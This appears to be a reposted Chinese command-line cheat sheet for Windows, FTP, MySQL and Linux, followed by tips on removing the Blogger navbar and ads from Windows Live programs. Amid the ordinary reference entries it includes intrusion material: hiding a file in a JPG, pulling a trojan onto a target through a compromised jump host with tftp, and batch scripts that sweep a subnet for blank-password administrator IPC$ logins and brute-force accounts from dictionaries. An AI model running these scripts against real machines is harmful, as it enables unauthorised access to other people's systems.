cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成
3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指
ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享
下的srv.exe文件（所有文件）至本地C：
xcopy 要复制的文件或目录树　目标地址\目录名 复制文件和目录树，用参数/Y
将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe
登陆后，将"IP"的server.exe下载到目标主机c:\server.exe 参数：-i指以二
进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模
式）进行传送
tftp -i 对方IP　put c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二
进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码
Netmask，网关地址Gateway addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理
性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程
序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，
系统，隐藏 属性；用＋则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时
间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即"DATE/T"、"TIME/T"将只显示当前日期和
时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以
冒号打头，例如："：start"标签）
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿
、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、
D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
print 文件名 打印文本文件
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md　目录名 创建目录
replace 源文件　要替换文件的目录 替换文件
ren 原文件名　新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，
并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；
解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务
默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我
详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名　参数 显示或修改文件访问控制列表（ACL）--针对NTFS格式时。
参数：/D 用户名:设定拒绝某用户访问；/P 用户名erm 替换指定用户的访问
权限；/G 用户名erm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取，
W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定
d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop 启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错
误将重新开机
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定
/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒重
新开机0秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端
主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至
本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.
如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip
MYSQL 命令：
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户
root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增
加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都
带一个分号作为命令结束符）
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。
mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是
用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database 库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin
目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个
文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180
秒之间， /A取消开机，/M //IP 指定的远程主机。
例：shutdown /r /t 0 立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要
终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，
无参数时就只列出当前的进程。
Linux系统下基本命令： 要区分大小写
uname 显示版本信息（同win2K的 ver）
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）
pwd 查询当前所在的目录位置
cd cd　..回到上一层目录，注意cd 与..之间有空格。cd　/返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件，rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录，目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）
附：批处理命令与变量
1：for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:
指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用
变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0-%9共10个，其中%0默认给批处理文件名使用，%1
默认为使用此批处理时输入的的第一个值，同理：%2-%9指输入的第2-9个值；例
：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1
-1 254),{"(1 1 254)"第一个"1"指起始值，第二个"1"指增长量，第三个"254"
指结束值，即：从1到254；"(1 -1 254)"说明：即从254到1}
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时
，命令这间加：& 来隔开
command_parameters：为特定命令指定参数或命令行开关
IN (set)：指在(set)中取值；DO command ：指执行command
参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取
完为止{(set)为文件时，如(d:\pass.txt)时}。
用法举例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G
/user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator
密码为空的IPC$连接，如果成功就把该IP存在test.txt中。
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认
的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；
| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为
完整的IP地址；(1 1 254) 指起始值，增长量，结止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic
中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。
2：if命令及变量 基本格式：
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指
定数字的退出编码，指定条件为"真"。
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；
IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串
1 等于 字符串2），就执行后面的命令。
例："if "%2%"=="4" goto start"指：如果输入的第二个变量为4时，执行后面
的命令（注意：调用变量时就%变量名%并加" "）
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。
例："if not nc.exe goto end"指：如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字
符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令
语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命
令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部
内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独
一行了；例如："if exist test.txt. else echo
test.txt.missing "，注意命令中的"."


当前1/2页 [1] [2] 下一页


该文章转载自脚本之家：http://www.jb51.net/html/200703/106/8844.htm

去除blogger导航条

方法一
在模板修改Page Elements那一项，加入一个"HTML/JavaScript" Element，写入代码:
#navbar-iframe { height: 0px; visibility: hidden; display: none }

方法二
最简单也是最官方的方法是
(这种方法不是隐藏, 而是去掉, 彻底去掉, 并且会有官方提示是否去掉)
登 入blogspot后台 - 点击"模板" - 点击"编辑HTML" - 下载"完整模板"(Full Template)后, 用记事本编辑下载的XML文件 - 将<`body>替换为<`body bgcolor='#FFFFFF'> - 保存 - 回到网页 - 点击"浏览" - 找到更改后的XML文件,点击确定 - 点击"上传" - 会有提示"是否确定要去掉导航条" - 确定 - 刷新你的blog页面后你就能发现上面的blogspot的导航条已经没有了

　上次说得官方的方法很不好，一个是改了以后会影响你得一些布局，第二个是如果你换模版就要重来一遍！下面有更方便得方法。
　　在模版设置里面添加一个"HTML/JavaScript" Element，然后写入代码

[style]#navbar-iframe { height: 0px; visibility: hidden; display: none } [/style]

成功去掉navbar。注意：把[]替换为<>
　　这样随便你如何换模版都没有关系了。

Windows Live系列手动去广告

Windows Live Mail Desktop Beta 手动去广告方法

用resourcehacker
1.打开C:\Program Files\Windows Live Mail Desktop Beta\mailres2.dll (默认安装目录)

2.找到4005---///>3000---///>1033

3.查找ID=atom(MWAdPane)

4.将前面layoutpos=Client改为layoutpos=none

5.编译脚本

6.选择resourcehacker 的文件---保存

Windows Live™ Messenger去广告方法

去除聊天对话框广告：开4004-920号资源，查找里面的
id=atom(adbannergutter)
将其前面的layoutpos=bottom改为layoutpos=none。

去除主面板广告：打开4004-923号资源，查找里面的ID=
Atom(SSConstrainer) 将其前面的layoutpos=top改为layoutpos=none。
去除界面底部搜索栏：
打开4004-923号资源，查找里面的"idSearchContainer"
将其前面的"layoutpos=bottom"改为"layoutpos=none"
改字体大小
4005---1009

Element
{
FontFace:SysMetricStr(6);
FontSize:9pt;
ContentAlign:MiddleLeft;